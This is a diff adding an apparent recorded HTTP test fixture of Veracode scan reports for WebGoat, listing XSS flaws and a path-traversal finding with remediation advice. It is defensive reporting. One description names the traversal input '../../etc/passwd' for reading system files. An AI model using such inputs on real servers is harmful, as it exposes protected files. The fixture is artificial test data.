+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:25 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:13:42 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:13:42 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs